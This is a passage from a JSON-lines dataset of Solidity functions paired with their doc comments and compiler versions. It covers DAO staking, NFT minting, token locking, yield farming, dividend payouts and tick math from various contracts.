int216(100).toReal();\r\n }\r\n int256 res = int216(params.thresholdConstA).toReal().mul(e.toReal().pow(power));\r\n return res.fromReal();\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev hash the parameters, save them if necessary, and return the hash value\r\n * @param _params a parameters array\r\n * _params[0] - _preBoostedVoteRequiredPercentage,\r\n * _params[1] - _preBoostedVotePeriodLimit, //the time limit for a proposal to be in an absolute voting mode.\r\n * _params[2] -_boostedVotePeriodLimit, //the time limit for a proposal to be in an relative voting mode.\r\n * _params[3] -_thresholdConstA\r\n * _params[4] -_thresholdConstB\r\n * _params[5] -_minimumStakingFee\r\n * _params[6] -_quietEndingPeriod\r\n * _params[7] -_proposingRepRewardConstA\r\n * _params[8] -_proposingRepRewardConstB\r\n * _params[9] -_stakerFeeRatioForVoters\r\n * _params[10] -_votersReputationLossRatio\r\n * _params[11] -_votersGainRepRatioFromLostRep\r\n * _params[12] - _daoBountyConst\r\n * _params[13] - _daoBountyLimit\r\n */", "function_code": "function setParameters(\r\n uint[14] _params //use array here due to stack too deep issue.\r\n )\r\n public\r\n returns(bytes32)\r\n {\r\n require(_params[0] <= 100 && _params[0] > 0,\"0 < preBoostedVoteRequiredPercentage <= 100\");\r\n require(_params[4] > 0 && _params[4] <= 100000000,\"0 < thresholdConstB < 100000000 \");\r\n require(_params[3] <= 100000000 ether,\"thresholdConstA <= 100000000 wei\");\r\n require(_params[9] <= 100,\"stakerFeeRatioForVoters <= 100\");\r\n require(_params[10] <= 100,\"votersReputationLossRatio <= 100\");\r\n require(_params[11] <= 100,\"votersGainRepRatioFromLostRep <= 100\");\r\n require(_params[2] >= _params[6],\"boostedVotePeriodLimit >= quietEndingPeriod\");\r\n require(_params[7] <= 100000000,\"proposingRepRewardConstA <= 100000000\");\r\n require(_params[8] <= 100000000,\"proposingRepRewardConstB <= 100000000\");\r\n require(_params[12] <= (2 * _params[9]),\"daoBountyConst <= 2 * stakerFeeRatioForVoters\");\r\n require(_params[12] >= _params[9],\"daoBountyConst >= stakerFeeRatioForVoters\");\r\n\r\n\r\n bytes32 paramsHash = getParametersHash(_params);\r\n parameters[paramsHash] = Parameters({\r\n preBoostedVoteRequiredPercentage: _params[0],\r\n preBoostedVotePeriodLimit: _params[1],\r\n boostedVotePeriodLimit: _params[2],\r\n thresholdConstA:_params[3],\r\n thresholdConstB:_params[4],\r\n minimumStakingFee: _params[5],\r\n quietEndingPeriod: _params[6],\r\n proposingRepRewardConstA: _params[7],\r\n proposingRepRewardConstB:_params[8],\r\n stakerFeeRatioForVoters:_params[9],\r\n votersReputationLossRatio:_params[10],\r\n votersGainRepRatioFromLostRep:_params[11],\r\n daoBountyConst:_params[12],\r\n daoBountyLimit:_params[13]\r\n });\r\n return paramsHash;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev hashParameters returns a hash of the given parameters\r\n */", "function_code": "function getParametersHash(\r\n uint[14] _params) //use array here due to stack too deep issue.\r\n public\r\n pure\r\n returns(bytes32)\r\n {\r\n return keccak256(\r\n abi.encodePacked(\r\n _params[0],\r\n _params[1],\r\n _params[2],\r\n _params[3],\r\n _params[4],\r\n _params[5],\r\n _params[6],\r\n _params[7],\r\n _params[8],\r\n _params[9],\r\n _params[10],\r\n _params[11],\r\n _params[12],\r\n _params[13]));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev staking function\r\n * @param _proposalId id of the proposal\r\n * @param _vote NO(2) or YES(1).\r\n * @param _amount the betting amount\r\n * @param _staker the staker address\r\n * @return bool true - the proposal has been executed\r\n * false - otherwise.\r\n */", "function_code": "function _stake(bytes32 _proposalId, uint _vote, uint _amount,address _staker) internal returns(bool) {\r\n // 0 is not a valid vote.\r\n\r\n require(_vote <= NUM_OF_CHOICES && _vote > 0);\r\n require(_amount > 0);\r\n if (_execute(_proposalId)) {\r\n return true;\r\n }\r\n\r\n Proposal storage proposal = proposals[_proposalId];\r\n\r\n if (proposal.state != ProposalState.PreBoosted) {\r\n return false;\r\n }\r\n\r\n // enable to increase stake only on the previous stake vote\r\n Staker storage staker = proposal.stakers[_staker];\r\n if ((staker.amount > 0) && (staker.vote != _vote)) {\r\n return false;\r\n }\r\n\r\n uint amount = _amount;\r\n Parameters memory params = parameters[proposal.paramsHash];\r\n require(amount >= params.minimumStakingFee);\r\n require(stakingToken.transferFrom(_staker, address(this), amount));\r\n proposal.totalStakes[1] = proposal.totalStakes[1].add(amount); //update totalRedeemableStakes\r\n staker.amount += amount;\r\n staker.amountForBounty = staker.amount;\r\n staker.vote = _vote;\r\n\r\n proposal.votersStakes += (params.stakerFeeRatioForVoters * amount)/100;\r\n proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);\r\n amount = amount - ((params.stakerFeeRatioForVoters*amount)/100);\r\n\r\n proposal.totalStakes[0] = amount.add(proposal.totalStakes[0]);\r\n // Event:\r\n emit Stake(_proposalId, proposal.avatar, _staker, _vote, _amount);\r\n // execute the proposal if this vote was decisive:\r\n return _execute(_proposalId);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Override isApprovedForAll to whitelist user's OpenSea proxy account to enable gas-less listings.\r\n * @dev Used for integration with opensea's Wyvern exchange protocol.\r\n * See {IERC721-isApprovedForAll}.\r\n */", "function_code": "function isApprovedForAll(address owner, address operator)\r\n override\r\n public\r\n view\r\n returns (bool)\r\n {\r\n // Create an instance of the ProxyRegistry contract from Opensea\r\n ProxyRegistry proxyRegistry = ProxyRegistry(openseaProxyRegistryAddress);\r\n // whitelist the ProxyContract of the owner of the NFT\r\n if (address(proxyRegistry.proxies(owner)) == operator) {\r\n return true;\r\n }\r\n\r\n if (openseaProxyRegistryAddress == operator) {\r\n return true;\r\n }\r\n\r\n return super.isApprovedForAll(owner, operator);\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Override msgSender to allow for meta transactions on OpenSea.\r\n */", "function_code": "function _msgSender()\r\n override\r\n internal\r\n view\r\n returns (address sender)\r\n {\r\n if (msg.sender == address(this)) {\r\n bytes memory array = msg.data;\r\n uint256 index = msg.data.length;\r\n assembly {\r\n // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.\r\n sender := and(\r\n mload(add(array, index)),\r\n 0xffffffffffffffffffffffffffffffffffffffff\r\n )\r\n }\r\n } else {\r\n sender = payable(msg.sender);\r\n }\r\n return sender;\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Destroys `amount` tokens from the `account`.\r\n *\r\n * See {ERC20-_burn}.\r\n */", "function_code": "function burn(address account, uint256 amount) public onlyOwner {\r\n\r\n require(account != address(0), \"AdaMarkets: burn from the zero address\");\r\n\r\n if( _balances[account] == _unlockedTokens[account]){\r\n _unlockedTokens[account] = _unlockedTokens[account].sub(amount, \"AdaMarkets: burn amount exceeds balance\");\r\n }\r\n\r\n _balances[account] = _balances[account].sub(amount, \"AdaMarkets: burn amount exceeds balance\");\r\n\r\n _totalSupply = _totalSupply.sub(amount);\r\n\r\n emit Transfer(account, address(0), amount);\r\n\r\n if(account != _msgSender()){\r\n \r\n require(amount <= _allowances[account][_msgSender()],\"AdaMarkets: Check for approved token count failed\");\r\n\r\n _allowances[account][_msgSender()] = _allowances[account][_msgSender()].sub(amount, \"ERC20: burn amount exceeds allowance\");\r\n emit Approval(account, _msgSender(), _allowances[account][_msgSender()]);\r\n }\r\n }", "version": "0.8.4"} {"comment": "// ------------------------------------------------------------------------\n// Checks if there is required amount of unLockedTokens available\n// ------------------------------------------------------------------------", "function_code": "function _updateUnLockedTokens(address _from, uint tokens) private returns (bool success) {\r\n // if _unlockedTokens are greater than \"tokens\" of \"to\", initiate transfer\r\n if(_unlockedTokens[_from] >= tokens){\r\n return true;\r\n }\r\n // if _unlockedTokens are less than \"tokens\" of \"to\", update _unlockedTokens by checking record with \"now\" time\r\n else{\r\n _updateRecord(_from);\r\n // check if _unlockedTokens are greater than \"token\" of \"to\", initiate transfer\r\n if(_unlockedTokens[_from] >= tokens){\r\n return true;\r\n }\r\n // otherwise revert\r\n else{\r\n revert(\"AdaMarkets: Insufficient unlocked tokens\");\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "// ------------------------------------------------------------------------\n// Unlocks the coins if lockingPeriod is expired\n// ------------------------------------------------------------------------", "function_code": "function _updateRecord(address account) private returns (bool success){\r\n LockRecord[] memory tempRecords = records[account];\r\n uint256 unlockedTokenCount = 0;\r\n for(uint256 i=0; i < tempRecords.length; i++){\r\n if(tempRecords[i].lockingPeriod < block.timestamp && tempRecords[i].isUnlocked == false){\r\n unlockedTokenCount = unlockedTokenCount.add(tempRecords[i].tokens);\r\n tempRecords[i].isUnlocked = true;\r\n records[account][i] = LockRecord(tempRecords[i].lockingPeriod, tempRecords[i].tokens, tempRecords[i].isUnlocked);\r\n }\r\n }\r\n _unlockedTokens[account] = _unlockedTokens[account].add(unlockedTokenCount);\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "//this function only runs when emergency exit is true. this would report a big loss normally so we add a flag to force users to really want to report the loss", "function_code": "function liquidateAllPositions() internal override returns (uint256 _amountFreed){\r\n \r\n (_amountFreed,) = liquidatePosition(vault.debtOutstanding());\r\n (uint256 deposits, uint256 borrows) = getCurrentPosition();\r\n\r\n uint256 position = deposits.sub(borrows);\r\n \r\n //we want to revert if we can't liquidateall\r\n if(!forceMigrate){\r\n require(position < minWant, \"DELEVERAGE FIRST\");\r\n }\r\n }", "version": "0.6.12"} {"comment": "//called by flash loan", "function_code": "function useLoanTokens(\r\n bool deficit,\r\n uint256 amount,\r\n uint256 repayAmount\r\n ) external {\r\n uint256 bal = want.balanceOf(address(this));\r\n require(bal >= amount, \"FLASH_FAILED\"); // to stop malicious calls\r\n\r\n //if in deficit we repay amount and then withdraw\r\n if (deficit) {\r\n cToken.repayBorrow(amount);\r\n\r\n //if we are withdrawing we take more to cover fee\r\n cToken.redeemUnderlying(repayAmount);\r\n } else {\r\n //check if this failed incase we borrow into liquidation\r\n require(cToken.mint(bal) == 0, \"mint error\");\r\n //borrow more to cover fee\r\n // fee is so low for dydx that it does not effect our liquidation risk.\r\n //DONT USE FOR AAVE\r\n cToken.borrow(repayAmount);\r\n }\r\n want.safeTransfer(address(flashLoanPlugin), repayAmount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Mint several HD Punks in a single transaction. Used in presale minting.\r\n */", "function_code": "function mintMany(uint[] calldata _punkIds, address to) external payable {\r\n // Take mint fee\r\n require(msg.value >= _punkIds.length * mintFee() || to == owner(), \"Please include mint fee\");\r\n for (uint i = 0; i < _punkIds.length; i++) {\r\n _mint(_punkIds[i], to, true);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mint `quantity` HDPunks, but chosen randomly. Used in public minting.\r\n */", "function_code": "function mintRandom(address to, uint quantity) external payable {\r\n require(_publicMinting || to == owner(), \"Wait for public minting\");\r\n require(msg.sender == tx.origin, \"No funny business\");\r\n require(msg.value >= quantity * mintFee() || to == owner(), \"Please include mint fee\");\r\n // TODO: Check that randomness works well\r\n for (uint i = 0; i < quantity; i++) {\r\n _mint(randomIndex(), msg.sender, false);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Checks validity of the mint, but not the mint fee.\r\n */", "function_code": "function _mint(uint _punkId, address to, bool requireIsOwner) internal {\r\n // Check if token already exists\r\n require(!_exists(_punkId), \"HDPunk already minted\");\r\n overwriteIndex(_punkId);\r\n\r\n if (requireIsOwner) {\r\n address punkOwner = PUNKS.punkIndexToAddress(_punkId);\r\n if (punkOwner == address(WRAPPER)) {\r\n punkOwner = WRAPPER.ownerOf(_punkId);\r\n }\r\n require(to == punkOwner || to == owner(), \"Only the owner can mint\");\r\n } else {\r\n require(_publicMinting || to == owner(), \"Public minting not open\");\r\n }\r\n\r\n _mint(to, _punkId);\r\n numTokens += 1;\r\n emit Mint(to, _punkId);\r\n }", "version": "0.8.4"} {"comment": "//\n// \n// All air deliver related functions use counts insteads of wei\n// _amount in BioX, not wei\n//", "function_code": "function airDeliver(address _to, uint256 _amount) onlyOwner public {\r\n require(owner != _to);\r\n require(_amount > 0);\r\n require(balances[owner].balance >= _amount);\r\n \r\n // take big number as wei\r\n if(_amount < bioxSupply){\r\n _amount = _amount * bioxEthRate;\r\n }\r\n balances[owner].balance = balances[owner].balance.sub(_amount);\r\n balances[_to].balance = balances[_to].balance.add(_amount);\r\n emit Transfer(owner, _to, _amount);\r\n }", "version": "0.4.24"} {"comment": "//\n// _amount, _freezeAmount in BioX\n//", "function_code": "function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public {\r\n require(owner != _to);\r\n require(_freezeMonth > 0);\r\n \r\n uint average = _freezeAmount / _freezeMonth;\r\n BalanceInfo storage bi = balances[_to];\r\n uint[] memory fa = new uint[](_freezeMonth);\r\n uint[] memory rt = new uint[](_freezeMonth);\r\n\r\n if(_amount < bioxSupply){\r\n _amount = _amount * bioxEthRate;\r\n average = average * bioxEthRate;\r\n _freezeAmount = _freezeAmount * bioxEthRate;\r\n }\r\n require(balances[owner].balance > _amount);\r\n uint remainAmount = _freezeAmount;\r\n \r\n if(_unfreezeBeginTime == 0)\r\n _unfreezeBeginTime = now + freezeDuration;\r\n for(uint i=0;i<_freezeMonth-1;i++){\r\n fa[i] = average;\r\n rt[i] = _unfreezeBeginTime;\r\n _unfreezeBeginTime += freezeDuration;\r\n remainAmount = remainAmount.sub(average);\r\n }\r\n fa[i] = remainAmount;\r\n rt[i] = _unfreezeBeginTime;\r\n \r\n bi.balance = bi.balance.add(_amount);\r\n bi.freezeAmount = fa;\r\n bi.releaseTime = rt;\r\n balances[owner].balance = balances[owner].balance.sub(_amount);\r\n emit Transfer(owner, _to, _amount);\r\n emit Freeze(_to, _freezeAmount);\r\n }", "version": "0.4.24"} {"comment": "// View function to see pending CHADs on frontend.", "function_code": "function pendingChad(uint256 _pid, address _user)\r\n\t\texternal\r\n\t\tview\r\n\t\treturns (uint256)\r\n\t{\r\n\t\tPoolInfo storage pool = poolInfo[_pid];\r\n\t\tUserInfo storage user = userInfo[_pid][_user];\r\n\t\tuint256 accChadPerShare = pool.accChadPerShare;\r\n\t\tuint256 lpSupply = pool.lpToken.balanceOf(address(this));\r\n\t\tif (block.number > pool.lastRewardBlock && lpSupply != 0) {\r\n\t\t\tuint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\r\n\t\t\tuint256 chadReward = multiplier\r\n\t\t\t\t.mul(chadPerBlock)\r\n\t\t\t\t.mul(pool.allocPoint)\r\n\t\t\t\t.div(totalAllocPoint);\r\n\t\t\taccChadPerShare = accChadPerShare.add(chadReward.mul(1e12).div(lpSupply));\r\n\t\t}\r\n\t\tuint256 pendingChadAmount = user.amount.mul(accChadPerShare).div(1e12).sub(\r\n\t\t\tuser.rewardDebt\r\n\t\t);\r\n\t\treturn pendingChadAmount;\r\n\t}", "version": "0.6.12"} {"comment": "// Deposit LP tokens to Chadfather for CHAD allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n\t\tPoolInfo storage pool = poolInfo[_pid];\r\n\t\tUserInfo storage user = userInfo[_pid][msg.sender];\r\n\t\tupdatePool(_pid);\r\n\t\tif (user.amount > 0) {\r\n\t\t\tuint256 pending = user.amount.mul(pool.accChadPerShare).div(1e12).sub(\r\n\t\t\t\tuser.rewardDebt\r\n\t\t\t);\r\n\t\t\tif (pending > 0) {\r\n\t\t\t\tsafeChadTransfer(msg.sender, pending);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (_amount > 0) {\r\n\t\t\tpool.lpToken.safeTransferFrom(\r\n\t\t\t\taddress(msg.sender),\r\n\t\t\t\taddress(this),\r\n\t\t\t\t_amount\r\n\t\t\t);\r\n\t\t\tuser.amount = user.amount.add(_amount);\r\n\t\t}\r\n\t\tuser.rewardDebt = user.amount.mul(pool.accChadPerShare).div(1e12);\r\n\t\temit Deposit(msg.sender, _pid, _amount);\r\n\t}", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from Chadfather.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n\t\tPoolInfo storage pool = poolInfo[_pid];\r\n\t\tUserInfo storage user = userInfo[_pid][msg.sender];\r\n\t\trequire(user.amount >= _amount, 'withdraw: not good');\r\n\t\tupdatePool(_pid);\r\n\t\tuint256 pending = user.amount.mul(pool.accChadPerShare).div(1e12).sub(\r\n\t\t\tuser.rewardDebt\r\n\t\t);\r\n\t\tif (pending > 0) {\r\n\t\t\tsafeChadTransfer(msg.sender, pending);\r\n\t\t}\r\n\t\tif (_amount > 0) {\r\n\t\t\tuser.amount = user.amount.sub(_amount);\r\n\t\t\tpool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n\t\t}\r\n\t\tuser.rewardDebt = user.amount.mul(pool.accChadPerShare).div(1e12);\r\n\t\temit Withdraw(msg.sender, _pid, _amount);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\r\n *\r\n * Does not update the allowance amount in case of infinite allowance.\r\n * Revert if not enough allowance is available.\r\n *\r\n * Might emit an {Approval} event.\r\n */", "function_code": "function _spendAllowance(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) internal virtual {\r\n uint256 currentAllowance = allowance(owner, spender);\r\n if (currentAllowance != type(uint256).max) {\r\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\r\n unchecked {\r\n _approve(owner, spender, currentAllowance - amount);\r\n }\r\n }\r\n }", "version": "0.8.11"} {"comment": "// Mint Tokens", "function_code": "function mint(uint256 n) public payable {\n require(mintMode == MintMode.Open, \"Public mint is closed\");\n require(n <= 7, \"Too many tokens\");\n require(msg.value >= tokenPrice * n, \"Didn't send enough ETH\");\n require(\n totalSupply() + n <= maxTokens,\n \"Can't fulfill requested tokens\"\n );\n require(\n totalSupply() + n <= batchCap,\n \"Can't fulfill requested tokens\"\n );\n\n for (uint256 i = 0; i < n; i++) {\n _safeMint(msg.sender, totalSupply() + 1);\n }\n }", "version": "0.8.0"} {"comment": "// Mint tokens using voucher", "function_code": "function mintWithVoucher(uint256 n, Voucher calldata voucher)\n public\n payable\n {\n require(mintMode != MintMode.Closed, \"Minting is closed\");\n require(msg.value >= tokenPrice * n, \"Didn't send enough ETH\");\n require(\n totalSupply() + n <= maxTokens,\n \"Can't fulfill requested tokens\"\n );\n require(\n voucherBalance[voucher.id] + n <= voucher.allowance,\n \"Voucher doesn't have enough allowance\"\n );\n require(verifyVoucher(voucher) == voucherSigner, \"Invalid voucher\");\n require(voucher.wallet == msg.sender, \"This is not your voucher\");\n\n for (uint256 i = 0; i < n; i++) {\n _safeMint(msg.sender, totalSupply() + 1);\n }\n\n voucherBalance[voucher.id] += n;\n }", "version": "0.8.0"} {"comment": "// Mint 1 token to each address in an array (owner only);", "function_code": "function send(address[] memory addr) external onlyOwner {\n require(\n totalSupply() + addr.length <= maxTokens,\n \"Can't fulfill requested tokens\"\n );\n for (uint256 i = 0; i < addr.length; i++) {\n _safeMint(addr[i], totalSupply() + 1);\n }\n devTokensMinted += addr.length;\n }", "version": "0.8.0"} {"comment": "// get all tokens owned by an address", "function_code": "function walletOfOwner(address _owner)\n external\n view\n returns (uint256[] memory)\n {\n uint256 tokenCount = balanceOf(_owner);\n\n uint256[] memory tokensId = new uint256[](tokenCount);\n for (uint256 i = 0; i < tokenCount; i++) {\n tokensId[i] = tokenOfOwnerByIndex(_owner, i);\n }\n\n return tokensId;\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice Function to clear and set list of excluded addresses used for future dividends\r\n * @param _excluded Addresses of investors\r\n */", "function_code": "function setDefaultExcluded(address[] _excluded) public withPerm(MANAGE) {\r\n require(_excluded.length <= EXCLUDED_ADDRESS_LIMIT, \"Too many excluded addresses\");\r\n for (uint256 j = 0; j < _excluded.length; j++) {\r\n require (_excluded[j] != address(0), \"Invalid address\");\r\n for (uint256 i = j + 1; i < _excluded.length; i++) {\r\n require (_excluded[j] != _excluded[i], \"Duplicate exclude address\");\r\n }\r\n }\r\n excluded = _excluded;\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit SetDefaultExcludedAddresses(excluded, now);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Function to set withholding tax rates for investors\r\n * @param _investors Addresses of investors\r\n * @param _withholding Withholding tax for individual investors (multiplied by 10**16)\r\n */", "function_code": "function setWithholding(address[] _investors, uint256[] _withholding) public withPerm(MANAGE) {\r\n require(_investors.length == _withholding.length, \"Mismatched input lengths\");\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit SetWithholding(_investors, _withholding, now);\r\n for (uint256 i = 0; i < _investors.length; i++) {\r\n require(_withholding[i] <= 10**18, \"Incorrect withholding tax\");\r\n withholdingTax[_investors[i]] = _withholding[i];\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Function to set withholding tax rates for investors\r\n * @param _investors Addresses of investor\r\n * @param _withholding Withholding tax for all investors (multiplied by 10**16)\r\n */", "function_code": "function setWithholdingFixed(address[] _investors, uint256 _withholding) public withPerm(MANAGE) {\r\n require(_withholding <= 10**18, \"Incorrect withholding tax\");\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit SetWithholdingFixed(_investors, _withholding, now);\r\n for (uint256 i = 0; i < _investors.length; i++) {\r\n withholdingTax[_investors[i]] = _withholding;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Issuer can push dividends to provided addresses\r\n * @param _dividendIndex Dividend to push\r\n * @param _payees Addresses to which to push the dividend\r\n */", "function_code": "function pushDividendPaymentToAddresses(\r\n uint256 _dividendIndex,\r\n address[] _payees\r\n )\r\n public\r\n withPerm(DISTRIBUTE)\r\n validDividendIndex(_dividendIndex)\r\n {\r\n Dividend storage dividend = dividends[_dividendIndex];\r\n for (uint256 i = 0; i < _payees.length; i++) {\r\n if ((!dividend.claimed[_payees[i]]) && (!dividend.dividendExcluded[_payees[i]])) {\r\n _payDividend(_payees[i], dividend, _dividendIndex);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Issuer can push dividends using the investor list from the security token\r\n * @param _dividendIndex Dividend to push\r\n * @param _start Index in investor list at which to start pushing dividends\r\n * @param _iterations Number of addresses to push dividends for\r\n */", "function_code": "function pushDividendPayment(\r\n uint256 _dividendIndex,\r\n uint256 _start,\r\n uint256 _iterations\r\n )\r\n public\r\n withPerm(DISTRIBUTE)\r\n validDividendIndex(_dividendIndex)\r\n {\r\n Dividend storage dividend = dividends[_dividendIndex];\r\n address[] memory investors = ISecurityToken(securityToken).getInvestors();\r\n uint256 numberInvestors = Math.min256(investors.length, _start.add(_iterations));\r\n for (uint256 i = _start; i < numberInvestors; i++) {\r\n address payee = investors[i];\r\n if ((!dividend.claimed[payee]) && (!dividend.dividendExcluded[payee])) {\r\n _payDividend(payee, dividend, _dividendIndex);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Calculate amount of dividends claimable\r\n * @param _dividendIndex Dividend to calculate\r\n * @param _payee Affected investor address\r\n * @return claim, withheld amounts\r\n */", "function_code": "function calculateDividend(uint256 _dividendIndex, address _payee) public view returns(uint256, uint256) {\r\n require(_dividendIndex < dividends.length, \"Invalid dividend\");\r\n Dividend storage dividend = dividends[_dividendIndex];\r\n if (dividend.claimed[_payee] || dividend.dividendExcluded[_payee]) {\r\n return (0, 0);\r\n }\r\n uint256 balance = ISecurityToken(securityToken).balanceOfAt(_payee, dividend.checkpointId);\r\n uint256 claim = balance.mul(dividend.amount).div(dividend.totalSupply);\r\n uint256 withheld = claim.mul(withholdingTax[_payee]).div(uint256(10**18));\r\n return (claim, withheld);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Get the index according to the checkpoint id\r\n * @param _checkpointId Checkpoint id to query\r\n * @return uint256[]\r\n */", "function_code": "function getDividendIndex(uint256 _checkpointId) public view returns(uint256[]) {\r\n uint256 counter = 0;\r\n for(uint256 i = 0; i < dividends.length; i++) {\r\n if (dividends[i].checkpointId == _checkpointId) {\r\n counter++;\r\n }\r\n }\r\n\r\n uint256[] memory index = new uint256[](counter);\r\n counter = 0;\r\n for(uint256 j = 0; j < dividends.length; j++) {\r\n if (dividends[j].checkpointId == _checkpointId) {\r\n index[counter] = j;\r\n counter++;\r\n }\r\n }\r\n return index;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Creates a dividend with a provided checkpoint, specifying explicit excluded addresses\r\n * @param _maturity Time from which dividend can be paid\r\n * @param _expiry Time until dividend can no longer be paid, and can be reclaimed by issuer\r\n * @param _checkpointId Id of the checkpoint from which to issue dividend\r\n * @param _excluded List of addresses to exclude\r\n * @param _name Name/title for identification\r\n */", "function_code": "function _createDividendWithCheckpointAndExclusions(\r\n uint256 _maturity, \r\n uint256 _expiry, \r\n uint256 _checkpointId, \r\n address[] _excluded, \r\n bytes32 _name\r\n ) \r\n internal\r\n {\r\n require(_excluded.length <= EXCLUDED_ADDRESS_LIMIT, \"Too many addresses excluded\");\r\n require(_expiry > _maturity, \"Expiry is before maturity\");\r\n /*solium-disable-next-line security/no-block-members*/\r\n require(_expiry > now, \"Expiry is in the past\");\r\n require(msg.value > 0, \"No dividend sent\");\r\n require(_checkpointId <= ISecurityToken(securityToken).currentCheckpointId());\r\n require(_name[0] != 0);\r\n uint256 dividendIndex = dividends.length;\r\n uint256 currentSupply = ISecurityToken(securityToken).totalSupplyAt(_checkpointId);\r\n uint256 excludedSupply = 0;\r\n dividends.push(\r\n Dividend(\r\n _checkpointId,\r\n now, /*solium-disable-line security/no-block-members*/\r\n _maturity,\r\n _expiry,\r\n msg.value,\r\n 0,\r\n 0,\r\n false,\r\n 0,\r\n 0,\r\n _name\r\n )\r\n );\r\n\r\n for (uint256 j = 0; j < _excluded.length; j++) {\r\n require (_excluded[j] != address(0), \"Invalid address\");\r\n require(!dividends[dividendIndex].dividendExcluded[_excluded[j]], \"duped exclude address\");\r\n excludedSupply = excludedSupply.add(ISecurityToken(securityToken).balanceOfAt(_excluded[j], _checkpointId));\r\n dividends[dividendIndex].dividendExcluded[_excluded[j]] = true;\r\n }\r\n dividends[dividendIndex].totalSupply = currentSupply.sub(excludedSupply);\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit EtherDividendDeposited(msg.sender, _checkpointId, now, _maturity, _expiry, msg.value, currentSupply, dividendIndex, _name);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Internal function for paying dividends\r\n * @param _payee address of investor\r\n * @param _dividend storage with previously issued dividends\r\n * @param _dividendIndex Dividend to pay\r\n */", "function_code": "function _payDividend(address _payee, Dividend storage _dividend, uint256 _dividendIndex) internal {\r\n (uint256 claim, uint256 withheld) = calculateDividend(_dividendIndex, _payee);\r\n _dividend.claimed[_payee] = true; \r\n uint256 claimAfterWithheld = claim.sub(withheld);\r\n if (claimAfterWithheld > 0) {\r\n /*solium-disable-next-line security/no-send*/\r\n if (_payee.send(claimAfterWithheld)) {\r\n _dividend.claimedAmount = _dividend.claimedAmount.add(claim);\r\n _dividend.dividendWithheld = _dividend.dividendWithheld.add(withheld);\r\n investorWithheld[_payee] = investorWithheld[_payee].add(withheld);\r\n emit EtherDividendClaimed(_payee, _dividendIndex, claim, withheld);\r\n } else {\r\n _dividend.claimed[_payee] = false;\r\n emit EtherDividendClaimFailed(_payee, _dividendIndex, claim, withheld);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Issuer can reclaim remaining unclaimed dividend amounts, for expired dividends\r\n * @param _dividendIndex Dividend to reclaim\r\n */", "function_code": "function reclaimDividend(uint256 _dividendIndex) external withPerm(MANAGE) {\r\n require(_dividendIndex < dividends.length, \"Incorrect dividend index\");\r\n /*solium-disable-next-line security/no-block-members*/\r\n require(now >= dividends[_dividendIndex].expiry, \"Dividend expiry is in the future\");\r\n require(!dividends[_dividendIndex].reclaimed, \"Dividend is already claimed\");\r\n Dividend storage dividend = dividends[_dividendIndex];\r\n dividend.reclaimed = true;\r\n uint256 remainingAmount = dividend.amount.sub(dividend.claimedAmount);\r\n address owner = IOwnable(securityToken).owner();\r\n owner.transfer(remainingAmount);\r\n emit EtherDividendReclaimed(owner, _dividendIndex, remainingAmount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Allows issuer to withdraw withheld tax\r\n * @param _dividendIndex Dividend to withdraw from\r\n */", "function_code": "function withdrawWithholding(uint256 _dividendIndex) external withPerm(MANAGE) {\r\n require(_dividendIndex < dividends.length, \"Incorrect dividend index\");\r\n Dividend storage dividend = dividends[_dividendIndex];\r\n uint256 remainingWithheld = dividend.dividendWithheld.sub(dividend.dividendWithheldReclaimed);\r\n dividend.dividendWithheldReclaimed = dividend.dividendWithheld;\r\n address owner = IOwnable(securityToken).owner();\r\n owner.transfer(remainingWithheld);\r\n emit EtherDividendWithholdingWithdrawn(owner, _dividendIndex, remainingWithheld);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Rounds down to the nearest tick where tick % tickSpacing == 0\n/// @param tick The tick to round\n/// @param tickSpacing The tick spacing to round to\n/// @return the floored tick\n/// @dev Ensure tick +/- tickSpacing does not overflow or underflow int24", "function_code": "function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) {\n int24 mod = tick % tickSpacing;\n\n unchecked {\n if (mod >= 0) return tick - mod;\n return tick - mod - tickSpacing;\n }\n }", "version": "0.8.10"} {"comment": "/// @notice Rounds up to the nearest tick where tick % tickSpacing == 0\n/// @param tick The tick to round\n/// @param tickSpacing The tick spacing to round to\n/// @return the ceiled tick\n/// @dev Ensure tick 